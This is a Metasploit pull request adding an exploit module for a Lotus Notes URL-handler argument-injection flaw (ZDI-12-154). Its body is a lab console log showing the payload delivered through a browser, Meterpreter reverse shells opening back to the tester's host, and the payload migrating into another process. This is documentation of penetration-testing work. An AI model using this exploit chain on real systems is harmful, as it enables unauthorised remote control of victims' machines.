rapid7/metasploit-framework — pull request #1205 by jvazquez-r7 (2012-12-24 15:25:11+00:00)
Title: added module for ZDI-12-154

Tested on Windows XP SP3 with IE8, Google Chrome 23.0.1271.97 m and IBM Lotus Notes Client 8.5.2.:

msf exploit(notes_handler_arginject) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.128:4444
[*] Using URL: http://0.0.0.0:8080/zstLxiF0D
[*] Local IP: http://192.168.1.128:8080/zstLxiF0D
[*] Server started.
msf exploit(notes_handler_arginject) > [*] 192.168.1.147 notes_handler_arginject - Sending html
[*] 192.168.1.147 notes_handler_arginject - Sending payload
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 3 opened (192.168.1.128:4444 -> 192.168.1.147:4603) at 2012-12-24 16:12:22 +0100
[+] Deleted Ez.js
[-] Failed to delete C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\eh.exe
[*] Session ID 3 (192.168.1.128:4444 -> 192.168.1.147:4603) processing InitialAutoRunScript 'migrate -k -f'
[*] Current server process: eh.exe (2532)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1240
[+] Successfully migrated to process
[*] Killing original process with PID 2532
[+] Successfully killed process with PID 2532
[*] 192.168.1.147 notes_handler_arginject - Sending html
[*] 192.168.1.147 notes_handler_arginject - Sending payload
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 4 opened (192.168.1.128:4444 -> 192.168.1.147:4613) at 2012-12-24 16:12:49 +0100
[-] Failed to delete C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\eh.exe
[+] Deleted Ez.js
[*] Session ID 4 (192.168.1.128:4444 -> 192.168.1.147:4613) processing InitialAutoRunScript 'migrate -k -f'
[*] Current server process: eh.exe (560)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2588
[+] Successfully migrated to process
[*] Killing original process with PID 560
[+] Successfully killed process with PID 560